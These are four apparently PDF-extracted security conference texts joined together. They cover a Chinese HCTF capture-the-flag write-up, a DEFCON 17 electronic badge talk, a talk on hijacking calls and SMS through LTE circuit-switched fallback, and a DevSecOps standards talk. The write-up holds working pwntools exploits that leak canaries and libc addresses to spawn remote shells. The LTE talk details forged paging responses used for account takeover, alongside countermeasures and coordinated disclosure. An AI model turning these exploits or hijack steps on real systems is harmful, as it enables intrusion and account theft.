"0123456789abcdefghijklmnopqrstuvwxyz=ABCDEFGHIJKLMEOPQRSTUVWXYZ"; char array2[] = "WpX45BqA6aV3rbUsEdCcD0tTYv9Q2e8PfhJNguKkHxLwRIjiylmSM10On2G7=FZ"; char *reverse(char *str) { if( !str ) { return NULL; } intlen = strlen(str); char temp; for(inti = 0; i<len / 2; i++ ) { // 交换前后两个相应位置癿字符 temp = *(str + i); *(str + i) = *(str + len - 1 - i); *(str + len - 1 - i) = temp; } returnstr; } int _tmain(intargc, _TCHAR* argv[]) { char input[] = "SRlhb70YZHKvlTrNrt08F=DX3cdD3txmg"; char output[sizeof(input)]; for(inti = 0;i<sizeof(input)-1;i++){ for(int j = 0;j<sizeof(array1)-1;j++){ if(array2[j] == input[i]){ output[i] = array1[j]; break; } } } output[sizeof(input)-1] = 0; //output 为得到癿 base64 //test 为手动解出癿 base64 明文 char test[] = "8s1udhd0i2w3rdnay6n8dna"; reverse(test); return 0; } (中间需要自己得到 output 并 base64 解密之) 坑点在于,置换表中,l 和 R 对应癿都是 0,需要自己手动修改。 非常友善的逆向题 又是体力活 先是一个神奇癿做差变换,不一个表比对,得到前 5 个字符是 HCTF{,最后一个字符是}, 长度是 22,所以是这样癿 HCTF{ } 然后又是一个折半查找(丌要问我为什么,我猜癿,然后就对了),分别找到字母在字母表 中癿位置和数字癿位置 存储到一个表中,接着交换表中部分表项,然后不一个表比对,由此倒推回去得到 第 6 个开始是 UareS0cLeVer 所以现在是这样癿 HCTF{UareS0cLeVer } 最后癿 4 个是不一个种子异戒后比对。种子由两个异戒而成,每 10ms 变换一次 一个是循环右移两位,一个是在 1 和 2 中来回变换, 由于丌确定,所以直接写了个程序,总共 8*2=16 种 发现有字母数字构成癿就只有两种了,一个是 Bh02,一个是 Ci13 然后提交发现 Bh02 是对癿 所以 flag 是 HCTF{UareS0cLeVerBh02} (求这货最后 4 个字母是什么意思。。。) PWN 部分 brainfuck 题目没有修改之前真癿没思路...修改之后就明了了,一个栈上任意位置读写,先读出 libc_start_main_ret 癿地址,计算出 libc 癿基址,然后用 libc 中癿 pop rdi 癿 gadget 传参数到 system 就可以 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import time, os token = '75f69ebc80a084e55d45a380daf455f8' offset___libc_start_main_ret = 0x21ec5 offset_system = 0x0000000000046640 offset_dup2 = 0x00000000000ebfe0 offset_read = 0x00000000000eb800 offset_write = 0x00000000000eb860 offset_str_bin_sh = 0x17ccdb onegadget = 0xE58C5 poprdi = 0x6fc7b def main(): io = remote('120.55.86.95',22222) print io.recvuntil('=') io.sendline(token) print io.recvuntil('OK') payload = ',[>,]'+'>'* 0x19 + 8 * '.>' + 8 * '<' + 8 * ',>' + 8 * ',>' + 8 * ',>' + ']q' io.send(payload) time.sleep(1) io.send('A'*0x1FF+'\x00') time.sleep(5) io.recv(99999) buf = io.recv(99999) libcret = u64(buf) libc_base = libcret - offset___libc_start_main_ret log.success('Libc base = ' + hex(libc_base)) onegadgetaddr = libc_base + poprdi binshaddr = libc_base + offset_str_bin_sh systemaddr = libc_base + offset_system io.send(p64(onegadgetaddr)) time.sleep(1) io.send(p64(binshaddr)) time.sleep(1) io.send(p64(systemaddr)) io.interactive() return 0 if __name__ == '__main__': main() what should i do 栈溢出,由于两个 buf 靠癿太近导致 base64 解码过长,从而导致栈溢出. 有 canary,丌过由于子迚程是 fork 出去癿,所以每次子迚程癿 canary 都是相同癿,所以泄 漏 canary 就可以. 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * import base64 import time poprdi = 0x00400e93 setbuf = 0x602030 printf = 0x4007C0 setbufoff = 0x721E0 token = '75f69ebc80a084e55d45a380daf455f8' local = False def main(): if local: io = process('./pwn4') else: io = remote('120.55.86.95',44444) print io.recvuntil('=') io.sendline(token) print io.recvuntil('OK') print io.recvuntil('[Y/N]') io.sendline('Y') print io.recvuntil('data') # get canary guess_payload = 'A' * 48 + '\x0a' payload = base64.b64encode(guess_payload) payload += (120 - len(payload)) * '=' payload = base64.b64encode(payload) io.send(payload) time.sleep(1) print io.recvline() print io.recvline() buf = io.recv(13) print buf.encode('hex') canary = u64("\x00" + buf[:7]) rbp = u64(buf[7:]+"\x00\x00") print io.recvuntil('[Y/N]') io.sendline('Y') print io.recvuntil('data') # get libc_ret guess_payload = 'A' * 48 + p64(canary) + 8 * 'A' + p64(poprdi) + p64(setbuf) + p64(printf) payload = base64.b64encode(guess_payload) payload += (120 - len(payload)) * '=' payload = base64.b64encode(payload) io.send(payload) time.sleep(1) print io.recvline() buf = io.recv(168+6) print len(buf) setbufaddr = u64(buf[168:] + '\x00\x00') libc_base = setbufaddr - setbufoff log.success('Libc base = ' + hex(libc_base)) systemaddr = libc_base + 0x046640 binshaddr = libc_base + 0x17CCDB print io.recvuntil('[Y/N]') io.sendline('Y') print io.recvuntil('data') guess_payload = 'A' * 48 + p64(canary) + 8 * 'A' + p64(poprdi) + p64(binshaddr) + p64(systemaddr) payload = base64.b64encode(guess_payload) payload += (120 - len(payload)) * '=' payload = base64.b64encode(payload) io.send(payload) io.interactive() io.close() return 0 if __name__ == '__main__': main() MISC 部分 送分要不要 压缩包解出来一个图片,在 压缩包最后还有一个图片,两个图片一模一样。。。最后在压缩吧中发下一串字 符串 ,复制下来解 base64 之后解 base32,最后解 hex。得到 flag。 What is this 文件下载下来用 winhex 看一下,发现是个 nes 癿游戏(赤色要塞),猜测直接打通游戏就能 拿到 flag...可是我比较懒,丌想打游戏,所以就从网上下载了一个原版癿赤色要塞,用 winhex 比较两个文件,发现在 33ed 处差别比较大,于是查看一下...但是发现那块癿值并 丌是可以直接读出来癿 ascii,用 no$nes 查看一下 tile,发现这些值对应癿 tile 就是 flag... flag : ILOVENESFUCKYOUHCGORSA shortbin nc 连上以后,它问我喜欢咖啡还是茶,我说茶、说咖啡、说 java 都丌行,注意到程序说要以 程序员风格回答,我给它源代码还是丌行...后来提示说 elf 就明了了.程序需要上传一个 可以输出答案癿 elf,而且有长度限制.用 nasm 构造一个没有多余内容癿 elf,根据程序癿 问题修改 elf 上传就可以. 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * token = '75f69ebc80a084e55d45a380daf455f8' def makecode(output): elf = open('hello','r') buf = elf.read() elf.close() buf = buf[:0x31] + output elf = open('code','w') elf.write(buf) elf.close() return buf def main(): io = remote('120.55.113.21',9999) print io.recvuntil('=') io.sendline(token) print io.recvline() io.send('\n') print io.recvline() io.send('\n') print io.recvline() io.send('\n') print io.recvline() io.send('yes\n') print io.recvline() io.send('\n') print io.recvuntil('coffee?') io.send(makecode('coffee\n')) print io.recvuntil('things?') io.send(makecode('yes\n')) print io.recvuntil('me?') io.send(makecode('no\n')) io.interactive() return 0 if __name__ == '__main__': main() elf 代码: 来源: http://www.muppetlabs.com/~breadbox/software/tiny/hello.asm.txt ;; hello.asm: Copyright (C) 2001 Brian Raiter <[email protected]> ;; Licensed under the terms of the GNU General Public License, either ;; version 2 or (at your option) any later version. ;; ;; To build: ;; nasm -f bin -o hello hello.asm && chmod +x hello BITS 32 org 0x05430000 db 0x7F, "ELF" dd 1 dd 0 dd $$ dw 2 dw 3 dd _start dw _start - $$ _start: inc ebx ; 1 = stdout file descriptor add eax, strict dword 4 ; 4 = write system call number mov ecx, msg ; Point ecx at string mov dl, 13 ; Set edx to string length int 0x80 ; eax = write(ebx, ecx, edx) and eax, 0x10020 ; al = 0 if no error occurred xchg eax, ebx ; 1 = exit system call number int 0x80 ; exit(ebx) msg: db 'hello, world', 10
pdf
Making (and Hacking) the DEFCON 17 Badge by Joe Grand aka Kingpin Me. electrical engineer. hardware hacker. daddy. Last Year This Year Hackers: The Next Generation Introduction Hardware Firmware Manufacturing DEFCON 17 Haiku Joe Grand aka Kingpin Electronic badge Audio input Affects LED output Sound and light combined Upload new firmware With serial bootloader Voltage reassigned Puzzle of seven Badge-to-badge interfacing Using I2C Hack badge for prizes Clever modifications Can you impress me? A Poem. Microphone RGB LED Freescale DSC & Testpoints ★ Bootloader ★ Party Mode ★ Quiet Mode ★ Sleep ★ ??? Badge Operation ★ Fall 2008: Recover from DEFCON 16 ★ December 2008: Initial design & parts selection ★ January 2009: Prototype hardware design ★ February: PCB design completed, production order ★ March: Production component orders ★ April: Firmware frozen ★ May: All components shipped to e-Teknet China ★ June: Wait for Customs to release the only box containing parts we couldn't easily get duplicates of ★ July: Badge assembly/test Timeline Customs: China v. UPS FAIL China wins! FedEx gets a small :(, too ★ Digital Signal Controller ๏ Part of the MC56F8xxx family ๏ Newly released ๏ Freescale gave us alpha samples to begin badge development back in November 2008 ๏ Main product page: http://tinyurl.com/lyorks ๏ Direct link to data sheet: www.freescale.com/ files/dsp/doc/data_sheet/MC56F8006.pdf ๏ John Winters, co-designer of this part, is here at DEFCON! Freescale MC56F8006 Freescale MC56F8006 It's Not Easy Picking an LED ★ AAA3528SURKQBDCGKC09 ๏ Rear-mounting ๏ Three individual diodes in single package ๏ 200/80/90mcd @ 20mA (R/G/B) Kingbright RGB LED ★ Dr. Hugh Knowles developed first balanced armature receiver for hearing aids ★ Developed the first silicon/MEMS microphone in 1988 ★ First moon landing: Neil Armstrong was wearing a Plantronics headset with Knowles microphone ★ Nearly 1 billion sold ๏ Used in laptops, cellphones, headsets ★ www.knowles.com Knowles Acoustics Microphone Knowles Acoustics Microphone 2 ★ SPM0408LE5H-TB ๏ Rear-mounting ๏ Amplified (20dB gain) ๏ RF protected Development Hardware Freescale MC56F8006-DEMO board + custom circuitry NOTE: RESISTORS ARE IN OHMS +/- 5% AND CAPACITORS ARE IN MICROFARADS, X7R UNLESS OTHERWISE NOTED. SEE BOM FOR ACTUAL VOLTAGE AND SPECIFICATION. VCC CR2032, 3V @ 225mAh VSS_IO2 27 VSS_IO 13 VSSA 9 VDDA 8 VDD_IO 26 GPIOB0/SCL 21 GPIOB1 2 TMS 31 TDO 32 TDI 30 TCK 14 RESET 15 GPIOC1 11 GPIOC2 10 GPIOC4/ANB8 5 GPIOC5 6 GPIOA0/PWM0 29 GPIOA1/PWM1 28 GPIOA2/PWM2 23 GPIOA3 24 GPIOA4 22 GPIOA5 20 GPIOC6 7 GPIOC0 12 GPIOA6 18 GPIOB5 4 GPIOB3 16 GPIOB2 17 GPIOB4/SDA 19 GPIOF0 25 GPIOB7/TXD 3 GPIOB6/RXD 1 U1 MC56F8006VLC 0 ohm R3 0 ohm R2 0 ohm R1 Badge Address Selection (R1-R3) Uber = R1, R2, R3 Goon = R1, R2 Contest = R1, R3 Speaker = R1 Vendor = R2, R3 Press = R2 Human = DNP SCL SDA VCC 0.1uF C1 0.1uF C2 VCC 4 1 3 2 D1 AAA3528SURKQBDCGKC09 VCC A1 GREEN BLUE RED BT1 AMP 796136-1 GND 2 VCC 1 GND 5 GND 7 GND 6 OUT 3 GAIN 4 MK1 SPM0408LE5H-TB 0.47uF C3 A0 10k R5 10k R4 VCC MICOUT MICPWR 100 R6 TDI TDO TCK RST TMS VCC A2 TXD RXD GND Schematic DEFCON 17 Circuit Board Badge DEFCON 17 Circuit Board Badge DEFCON 17 Circuit Board Badge DEFCON 17 Circuit Board Badge Bill-of-Materials Bill-of-Materials Bill-of-Materials Note: Refer to schematic for R1, R2, R3 population requirements Note: Refer to schematic for R1, R2, R3 population requirements Note: Refer to schematic for R1, R2, R3 population requirements Note: Refer to schematic for R1, R2, R3 population requirements Note: Refer to schematic for R1, R2, R3 population requirements Item Quantity Reference Manufacturer Manuf. Part # Distributor Distrib. Part # Description 1 1 BT1 AMP 796136-1 Digi-Key A99327-ND Single-cell battery holder for CR2032, SMD 1a 1 N/A Panasonic CR2032 Digi-Key P189-ND CR2032 Lithium 3V Coin Cell Battery (225mAh) 2 2 C1,C2 Kemet C0603C104K4RACTU Digi-Key 399-1096-2-ND 0.1uF ceramic capacitor, 16V, X7R, 0603 3 1 C3 Kemet C0603C474K4RACTU Digi-Key 399-4922-2-ND 0.47uF ceramic capacitor, 16V, X7R, 0603 4 1 D1 Kingbright AAA3528SURKQBDCGKC09 N/A N/A LED, RGB, 200/80/90mcd @ 20mA, 3.5mm x 2.8mm, SMD 5 1 MK1 Knowles Acoustics SPM0408LE5H-TB N/A N/A Microphone, 20dB internal pre-amp, SMD 6 3 R1,R2,R3 Panasonic ERJ-3GEY0R00V Digi-Key P0.0GTR-ND 0 ohm, 5%, 1/10W, 0603 7 2 R4,R5 Panasonic ERJ-3GEYJ103V Digi-Key P10KGTR-ND 10k, 5%, 1/10W, 0603 8 1 R6 Panasonic ERJ-3GEYJ101V Digi-Key P100GTR-ND 100, 5%, 1/10W, 0603 9 1 U1 Freescale MC56F8006VLC Avnet N/A Microcontroller/Digital Signal Controller, LQFP32 9a 1 N/A N/A N/A Avnet N/A Microcontroller programming service 10 1 PCB e-Teknet DC17 1.0 N/A N/A PCB (includes assembly and testing) Bill-of-Materials Badge Shape Concepts The badges are all puzzle pieces! Want to see a picture of them all together? Assembly Drawing: Human Assembly Drawing: Speaker Assembly Drawing: Goon Assembly Drawing: Vendor Assembly Drawing: Contest Assembly Drawing: Press Assembly Drawing: Uber Assembly Drawing: Close-Up Battery Life Estimates Freescale CodeWarrior for 56800/E Digital Signal Controllers ★ Free for up to 16KB Flash ★ All tools on DEFCON CD (for real, this time) ★ http://tinyurl.com/kuwloq Development Environment Processor Expert ★ GUI for peripheral configuration ★ Generates required drivers/function code for desired modules Development Environment 2 ★ Audio/signal processing function ★ Separates input signal from mic into N discrete bins (frequency elements) ★ Calculates power of each bin ★ RGB LED color and brightness vary based on sound/frequency Fast Fourier Transform (FFT) Badge-to-Badge Communication ★ I2C ๏ SCL (Serial Clock) ๏ SDA (Serial Data) ๏ GND ★ Human = Master ★ Non-Human = Slaves ★ As long as they are all on the bus, it doesn't matter what order they are connected ★ Master only checks for slaves on power-up ๏ Make sure slave badges are on, then power master Badge-to-Badge Communication 2 ★ Individually addressable ๏ Three resistors for setting device address ★ Data format (7 bytes) ๏ Address (1) : Red (2) : Green (2) : Blue (2) Static Serial Bootloader ★ Serial port + HyperTerminal = Load your own firmware onto the badge ๏ TX, RX, GND ๏ Level-shifter required (HHV kit!) ★ Enabled for 10 seconds on power-up ★ When modifying the User Code, read the comments in cpu.c ๏ Need to ensure reset vector points to bootloader and not user code • Otherwise, you'll never be able to get to the bootloader Static Serial Bootloader 2 Static Serial Bootloader 3 ★ Simply upload hex file and the badge will do the rest... Break Glass In Case Of Bricking ★ MC56F8006 typically programmed through JTAG interface ๏ Uses CodeWarrior USB TAP hardware, www.freescale.com/webapp/sps/site/ prod_summary.jsp?code=USBTAP ★ But, there is no direct JTAG connector on the badge Break Glass In Case Of Bricking ★ I built a small header board that connects to the JTAG test points on the badge using pogo pins ★ Unit will be available in the Hardware Hacking Village for emergencies ★ You could solder a 2x7 male header onto prototyping area of the badge and connect wires to test points Break Glass In Case Of Bricking ★ Use in conjunction with CodeWarrior or 56800E Flash Programmer tool to reload original firmware (including new bootloader) Production Assembly @ e-Teknet Production Assembly @ e-Teknet Production Assembly @ e-Teknet Speaker = 200 Goon = 200 Press = 200 Vendor = 100 Contest = 100 Uber = 50 Human = 5844 Total = 6694 Total Badge Types Collect them all!!@# A Labor of Love... Documentation 3.9% 7:20 Research 4.6% 8:30 Meetings 6.5% 12:05 Hardware 32.7% 60:45 Admin 7.8% 14:35 TOTAL: 186 hours Firmware 44.5% 82:45 Badge Hacking Contest HQ @ Hardware Hacking Village Complete source code, schematics, etc. on DEFCON CD Submissions due to Kingpin @ HHV by 2pm Sunday Previous results at www.grandideastudio.com/ portfolio/defcon-14-badge, /defcon-15-badge, & /defcon-16-badge Now w/ Black Badge status! Badge Hacking Contest This project did not happen in a vacuum. e-Teknet - PCB manufacturing & assembly (esp. Mike, Sam, Thomas, Kitty) Freescale (esp. John Winters, Dennis Hicks, Erin Greene, Chris Coleman, William Jiang) The Dark Tangent, Black Beetle, Neil Keely & Ben THE END! [email protected] www.grandideastudio.com
pdf
Ghost Telephonist Impersonates You Through LTE CSFB Yuwei ZHENG, Lin HUANG Qing YANG, Haoqi SHAN, Jun LI UnicornTeam, 360 Technology July 30, 017 Who We Are •  360 Technology is a leading Internet security company in China. Our core products are anti-virus security software for PC and cellphones. •  UnicornTeam (https://unicorn.360.com/) was built in 2014. This is a group that focuses on the security issues in many kinds of wireless telecommunication systems. •  Highlighted works of UnicornTeam include: •  Low-cost GPS spoofing research (DEFCON 23) •  LTE redirection attack (DEFCON 24) •  Attack on power line communication (BlackHat USA 2016) Voice Solutions in LTE Network •  VoLTE •  Voice over LTE, based on IP Multimedia Subsystem (IMS) •  Final target of network evolution •  CSFB •  Circuit Switched Fallback: switch from 4G to 3G or 2G when taking voice call •  SV-LTE •  Simultaneous Voice and LTE •  Higher price and rapid power consumption on terminal Occasional Discovery •  When we used OsmocomBB as cellphone to access GSM network, we met a difficultyDuring debugging the problem, we occasionally found a fake paging response can build the connection to network Normal 2G Call vs. CSFB When we analyze the signaling flow of CSFB, we were surprised to find that there is no authentication step. In normal 2G call, AKA does exist for every call. Vulnerability in CSFB UE eNB MME BSC MSC Paging Request Paging Paging Extended Service Requet Service Requet RRC Connection Release Paging Response Setup Call Confirmed Alerting Connect Connect Acknowledge NO Authentication Vulnerability in CSFB •  The principle is like someone comes out from the door of LTE, then enters the door of GSM. He shouts ‘I must be as quick as possible!’ Then he is permitted to enter, without the badge of GSM. How can we exploit it? •  Basic idea •  Because CSFB hasn’t authentication procedure, attackers can send Paging Response on 2G network, impersonating the victim, then hijack the call link. Experiment Environment C118 OsmocomBB L1 OsmocomBB L2/3 Demo Video 1 Demo Video Exploitation I – Random Hijack The first idea we got, is to randomly attack the cellphones in CSFB status. Attack Steps •  1) Listen on PCH channel •  2) Extract TMSI/IMSI in paging •  3) Forging a paging response with the TMSI/IMSI •  4) Check whether MSC accepts the paging response Why Network Sends Paging on 2G •  Cellphone stays in 4G •  Network sends paging message in 4G LTE PCH. But this paging message uses 4G’s S-TMSI, not 2G’s TMSI. •  S-TMSI and TMSI are generated during combined attach or location update procedure. •  C118 really hear paging messages •  In some cases, network sends paging message both on 4G and 2G. •  So using the TMSI captured on 2G can response the CSFB call on 4G. •  Usually the network sends TMSIs, but sometimes it sends IMSI. Hijack Result •  C118 has no SIM card. •  C118 successfully hijacked one call from 139920. Attack Signaling Flow The Ghost Telephonist gets control from here. What can attacker do in further? •  If attacker answers the incoming call •  The caller will recognize the callee’s voice is abnormal. •  What does attacker know now •  Victim’s TMSI or IMSI •  Caller’s phone number •  What can attacker do in further? Exploitation II – Get Victim’s Phone Number •  During an ongoing call, sending ‘CM Service Request’ does not trigger authentication, and the network will directly response a ‘CM Service Accept’. •  So attacker can make a call to another in-hand phone to know the victim’s ISDN number. Attack Signaling Flow •  1) Send ‘hold’ •  ) Send ‘CM Service Request’ PCAP Records Here are the records captured by Wireshark on the laptop that Osmocom is running on. It confirmed that attackers can build a MO call connection with the network. Targeted Persistent Attack •  Former discussion is about randomly attack. Here we introduce targeted persistent attack to hijack the victim’s link. •  Use TMSI •  Once attacker knows one TMSI, he can persistently send Paging Response with this TMSI, no matter whether there is paging coming. •  Use IMSI •  If attacker knows one victim’s IMSI and know where he is, the attacker can go to the same paging area, and continuously send paging response with the IMSI to hijack the victim’s link. •  Use ISDN number •  If the attacker knows victim’s phone number the attacker can firstly call the victim then capture the TMSI of the victim. After that use TMSI to launch the attack. Targeted Persistent Attack – Use TMSI •  Condition •  Attacker knows victim’s TMSI •  Attack Steps •  ) Persistently sending Paging Response with this TMSI •  2) Once victim has a Paging procedure existing, attacker can quickly control the link. Targeted Persistent Attack – Use IMSI •  Condition •  Attacker knows victim’s IMSI •  Attack Steps •  1) Persistently sending Paging Response with this IMSI •  2) Once victim has a Paging procedure existing, attacker can control the link. •  Disadvantage •  When network side receives Paging Response with IMSI, it has to find out the corresponding TMSI, so this method will increase the link building latency then consequently results in low ratio of successful attack. Targeted Persistent Attack – Use phone number •  Condition •  Attacker knows victim’s ISDN number •  Attack Steps •  1) Make a call to victim with an anonymous cellphone, to trigger a CSFB; Use one C118 to sniff TMSI •  2) Use another C118 to continuously send Paging Response with the TMSI and use anonymous cellphone to make second call to trigger CSFB again. •  ) Hijack and hold the victim’s link. Demo Video Demo Video Advanced Exploitation – Attack Internet Account •  Login with verification SMS •  Some applications permits login with cellphone number + verification SMS. Don’t require inputting password. •  Reset login password with verification SMS •  A lot of Internet application accounts use verification SMS to reset the login password. Attacker can use the cellphone number to start a password reset procedure then hijack the verification SMS. Advanced Exploitation – Attack Internet Account Advanced Exploitation – Attack Internet Account •  C118 Log shows it received the SMS sent from Facebook to the victim Advanced Exploitation – Attack Internet Account •  We investigated the password reset routine of many popular websites and applications, including global and Chinese ones, for example SNS website, payment website, and IM App etc. •  Telephonist and the victim should be in the same paging area (several base stations’ coverage) •  The attack is feasible only when 2G network is in use and uses A5/1 or A5/0 encryption. Constraints •  Telephonist attack doesn’t need to access SS7 core network. •  Telephonist attack doesn’t need fake base station. •  The victim keeps online in 4G network and is not aware of the attack. Different Behaviors from Different Terminals •  Different behaviors •  We found some cellphones are easily hijacked but some are not. Cellphones with [] have better defense against this attack. Jamming is needed to cut off the connection between victim cellphones and the network. Failure Analysis •  What ‘successful hijack’ means •  After the attacker sends Paging Response, he receives the call. This means a successful hijack. •  Whether can hold the link •  When the attacker receives the call, the call may be interrupted after a short time. •  The reason is: the victim cellphone didn’t receive the call and it wants to ‘Fast Return’ back to 4G, so it will launch a Location Area Update procedure in 2G. This LAU results in the break of attacker’s link. Fast Return Case 1 – Mi4C Cellphone, Qualcomm Chipset Paging Response failure Location Update not completed Fast Return Case – Qiku Cellphone, MTK Chipset Paging Response failure Location Update completed Jamming on the Victim •  Break victim’s LAU •  If the attacker sends jamming signal to the victim, this will break the link between victim and network, so that the attacker can keep holding the fake link. •  This will increase the success ratio of the attack. •  Disadvantage is the victim may sense the attack. Countermeasures •  To operators •  Improve the CSFB authentication procedure. The additional latency is acceptable. •  Speed up VoLTE service deployment •  To Internet service provider •  Be careful that the PSTN authentication is not safe. NIST guidance suggests not to use PSTN in two-factor authentication. •  The password reset procedure should be improved by additional personal information check. GSMA CVD Program •  What’s CVD Program? •  CVD Coordinated Vulnerability Disclosure Programme •  ‘Disclosures to GSMA must focus on open standards based technologies which are not proprietary to a specific vendor but that are used across, or have significant impact on, the mobile industry (e.g. including but not limited to protocols specified by IETF, ITU, ISO, ETSI, 3GPP, GSMA etc.)’ Good platform for reporting standard based vulnerability. GSMA CVD Program •  UnicornTeam received the FIRST acknowledgement on the Mobile Security Research Hall of Fame. •  GSMA transferred the vulnerability information to every operators. •  Now related operators are fixing or already fixed this vulnerability. Thank You ~
pdf
DevSecOps标准解读 中国信通院云大所 牛晓玲 牛晓玲 中国信息通信研究院 云计算与大数据研究所 云计算部 副主任 DevOps标准工作组组长,DevOps 国际标准编辑人。长期从事云计 算领域开发运维研究的相关工作,包括云服务业务功能测试以及运维 管理系统审查等相关工作。参与编写《云计算服务协议参考框架》、 《对象存储》、《云数据库》、《研发运营一体化(DevOps)能力 成熟度模型》系列标准、《云计算运维智能化通用评估方法》等多项 标准20余项。参与多篇白皮书、调查报告等编制工作,包括《企业IT 运维发展白皮书》、《中国DevOps现状调查报告(2019年)》等。 参与评估DevOps能力成熟度评估超过40个项目,具有丰富的标准编 制及评估测试经验。 Ø DevOps的定义:“开发(Dev)”和“运维(Ops)”的缩写,是一组过程、方法与系统的统称,强调 业务人员及IT专业人员(开发、测试、运维等)在应用和服务生命周期中的协作和沟通;强调整个组织的 合作以及交付和基础设施变更的自动化,从而实现持续集成、持续部署和持续交付等的无缝集成。 Ø DevSecOps的定义:是将信息安全的框架整合到DevOps的工作流程中,研发、运营、测试、安全多个部门 紧密协作,在提升开发和运营敏捷性的同时,也保障了数据和服务的可用性与安全性。 什么是DevSecOps? 安全 概念 DevSecOps概念示意图 DevSecOps的由来 2012 Gartner的报告中首次提出了 “DevOpsSec”这个概念 2012年 2017 在RSA年度大会上“DevSecOps”成为 了热门词汇, 它是一种对DevOps的延 展,DevSecOps提出安全是每个人的责 任。 2017年 2017-至今 DevOps的落地实践带动了DevSecOps的兴 起,强调将信息安全的能力整合到DevOps 的工作流程中,各部门重视安全,提升开 发和运营敏捷性。 至今 >>传统开发模式中,安全介入较晚,且安全部门独立于 软件开发、运维部门。 关于DevSecOps的几点理解? Ø 是一种安全的文化的渗透 Ø 是制度流程和工具的集合 Ø 是将安全性和合规性纳入软 件全生命周期的方法 Ø 是由学习和实践驱动的战略 Yes Ø 不是一种一刀切的全能方法 Ø 不是单一工具或方法 Ø 不单是在持续交付中增加安 全性的手段 Ø 不是追求完美与合规的战略 No 部署应用程序的能力在规模和速度上都得到了改善,但安全方面的考虑却常常被忽略, 更倾向于快速满足业务需求。 依靠应用程序来保持操作运行,开发过程中的安全性是上线的最后阶段执行,应用程 序安全性必须加快以跟上软件开发的步伐。 DevSecOps生命周期 定义研发安全指标,进行威胁 建模,安全工具培训等 计划阶段 IDE安全插件方式实现 编码阶段 在软件开发阶段消除这些漏洞可以降 低企业的信息安全风险,包括 SAST/DAST/IAST,SCA 验证(测试)阶段 签名验证、完整性校验和纵深 防御 配置阶段 RASP、UEBA、网络监控和渗 透测试 检测阶段 安全编排,基于RASP / WAF的 安全防护、混淆 响应阶段 DevSecOps的主要特征是通过在软件生命周期的各个阶段进行自动化,监控和应用安全性来提高客 户成果和使命价值,包括计划,开发,构建,测试,发布,交付,部署,操作和监控等阶段。 准生产环境 混沌工程、模糊测试和集成测 试 发布阶段 软件签名,传输等过程中防篡 改 预测阶段 相关的脆弱性分析 、IOC情报、 STIX、TAXII 优化 阶段 Dev Ops Sec 解决安全技术债、事件响应、纵 深防御体系等不断适配、调整和 优化 Release Detect Gartner 标准背景说明 Ø 牵头单位:工信部 中国信息通信研究院(国家智库,可信云等出品单位) Ø 起草单位:中国信息通信研究院、云计算开源产业联盟 、DevOps时代社区、高效运维社区、BATJ、中国银行、招商银行、平安科技、中国移动、中国联 通和华为等 Ø 目前进展:工信部和联合国 ITU-T 立项在研,2018年6月29日发布全量征求意见稿 整 体 级 别 说 明 安 全 风 险 管 理 标 准 安全及风险管理标准框架 控制总 体风险 组织建设和 人员管理 安全工具链 基础设施 管理 第三方 管理 度量与 反馈改进 数据管理 控制开发过程风险 需求管理 设计管理 开发过程管理 控制交付过程风险 配置管理 构建管理 测试管理 部署与发布管理 控制运营过程风险 安全监控 运营安全 应急响应 运营反馈 《研发运营一体化(DevOps)能力成熟度模型 第6部分:安全及风险管理》 《研发运营一体化(DevOps)能力成熟度模型 第6部分:安全及风险管理》标准是一种全新的安全理念与模式,强调安全是每 个人的责任,指将安全内嵌到应用的全生命周期,在安全风险可控的前提下,帮助企业提升IT效能,更好地实现研发运营一体化, 框架划分依据DevOps全生命周期分为:控制总体风险、控制开发过程风险、控制交付过程风险和控制运营过程风险四大部分。 人人为安全负责 · 安全左移 · 全流程的安全内建 · 安全闭环 数据管理、 控制总体风险 控制总体风险:在DevOps模式下,安全内建于开发、交付、运营过程中,总体风险包括三个过程中的共性安全要 求,包括:组织建设和人员管理、安全工具链、基础设施管理、第三方管理、数据管理、度量与反馈改进。 交付过程 开发过程 运营过程 ①组织建设与人员管理:在DevSecOps全 过程中,建立对应的组织负责不同的安全 职责,注重安全文化建设 ⑥度量与反馈改进:通 过对研发、交付、运营 过程的安全风险进行度 量、展示并反馈给团队 处理和改进 数据管理、 ④第三方管理 第三方机构 第三方人员 第三方软件 第三方服务 合作/接入 的安全风 险控制 ③基础设施管理:要求基础设施在DevOps全生命周期中,提供安全、可靠、 稳定、可持续的基础环境以及支撑服务的平台 ⑤数据管理:在DevOps过程中对涉及的各类数据进行安全管理,利用制度、 流程及工具化等手段保障数据的安全性 ②安全工具链:要求安全左移,将漏洞扫 描、应用安全测试、开源合规、威胁建模、 自动化漏洞扫描平台等安全工具嵌入 DevOps全生命周期 控制开发过程风险 控制开发过程风险:为降低后续交付、运营中的安全风险,保障研发运营一体化的整体安全,必须提前实施安 全风险管理工作。在应用的需求阶段就进行安全风险控制,同时关注架构与设计的安全风险,并在开发过程中 实施安全风险管理。 将安全工作左移,在应用的需求阶 段即进行安全风险控制,定义安全 需求并采取有效的措施和手段,从 而控制开发过程的安全风险。 需求 管理 关注开发过程中架构与设计的安全 风险。通过攻击面分析、威胁建模 等手段,识别应用潜在的安全风险 和威胁,制定措施消减威胁、规避 风险,确保产品的安全性。 关注编码过程的安全管理,以安全 编码方式实现功能。 设计 管理 开发 过程 管理 安全需求 定义 安全需求 验证 安全需求 管理 安全需求包括:应用的安全 功能和功能的安全性两方面。 对安全需求测试用例的编写、 验证与管理,提出相关要求。 安全需求基线>>持续更新的安 全需求标准库与管理平台>>自 动化、智能化的需求管理平台 安全设计 规范 威胁 建模 安全架构 审核 安全设计 方案 01 02 03 安全编码 源代码安全检测 开源组件安全风险与合规检测 控制交付过程风险:安全交付是将安全内建到交付过程中,是实现安全运营的前提条件。通过将配置管理、 构建管理、测试管理及部署与发布管理等交付过程纳入安全风险管理,使得系统、产品、服务可以在安全完 整的最佳状态下交付。 是保障交付过程正确性的前提, 主要包括对源代码及相关脚本、 依赖组件、发布制品、应用配 置、环境配置等的安全管理。 安全的构建管理可提升应用的 发布制品安全性,可靠可重复 的构建过程有利于安全问题的 避免和版本变更追溯。 在应用发布前,通过安全测试 发现并排除应用的安全缺陷, 提高安全质量。 安全的部署与发布关注安全的流 程与规范、过程中的安全控制与 低风险的发布机制。 配置管理 构建管理 测试管理 部署与发布 管理 B 代码保护机制 C 防篡改机制 D 软件资产安全风险库 A 代码评审 构建脚本 构建 环境 构建工 具 黑 盒 安 全 测 